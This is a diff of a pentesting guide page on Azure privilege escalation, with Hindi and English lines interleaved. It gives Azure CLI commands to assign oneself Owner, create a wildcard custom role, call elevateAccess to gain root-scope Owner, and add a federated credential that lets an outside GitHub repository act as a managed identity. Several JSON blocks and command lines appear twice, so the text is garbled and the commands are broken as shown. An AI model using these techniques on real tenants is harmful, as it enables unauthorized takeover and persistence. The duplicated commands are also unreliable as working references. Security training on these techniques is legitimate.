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Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

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src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md
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@@ -4,7 +4,7 @@
## Azure IAM
अधिक जानकारी के लिए देखें:
Fore more information check:
{{#ref}}
../az-services/az-azuread.md
@@ -12,38 +12,45 @@
### Microsoft.Authorization/roleAssignments/write
यह अनुमति विशेष दायरे में प्रिंसिपल को भूमिकाएँ सौंपने की अनुमति देती है, जिससे एक हमलावर को अधिक विशेषाधिकार प्राप्त भूमिका सौंपकर विशेषाधिकार बढ़ाने की अनुमति मिलती है:
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
यह अनुमति एक भूमिका द्वारा दी गई अनुमतियों को संशोधित करने की अनुमति देती है, जिससे एक हमलावर को अधिक अनुमतियाँ देने के द्वारा विशेषाधिकार बढ़ाने की अनुमति मिलती है जिसे उसने सौंपा है।
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
Create the file `role.json` with the following **content**:
फाइल `role.json` निम्नलिखित **सामग्री** के साथ बनाएं:
```json
{
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"]
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"]
}
```
फिर पिछले परिभाषा को कॉल करते हुए भूमिका अनुमतियों को अपडेट करें:
Then update the role permissions with the previous definition calling:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
यह अनुमति विशेषाधिकार बढ़ाने और Azure संसाधनों के लिए किसी भी प्रिंसिपल को अनुमतियाँ असाइन करने की अनुमति देती है। इसे Entra ID Global Administrators को दिया जाना चाहिए ताकि वे Azure संसाधनों पर अनुमतियों का प्रबंधन कर सकें।
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
> [!TIP]
> मुझे लगता है कि उपयोगकर्ता को elevate कॉल काम करने के लिए Entra ID में Global Administrator होना चाहिए।
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -51,22 +58,27 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
यह अनुमति प्रबंधित पहचान में संघीय क्रेडेंशियल जोड़ने की अनुमति देती है। उदाहरण के लिए, एक प्रबंधित पहचान को एक रिपॉजिटरी में Github Actions तक पहुंच देने के लिए। फिर, यह **किसी भी उपयोगकर्ता द्वारा परिभाषित प्रबंधित पहचान** तक पहुंच की अनुमति देता है।
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
Example command to give access to a repo in Github to the a managed identity:
Github में एक रिपॉजिटरी को प्रबंधित पहचान तक पहुंच देने के लिए उदाहरण कमांड:
```bash
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
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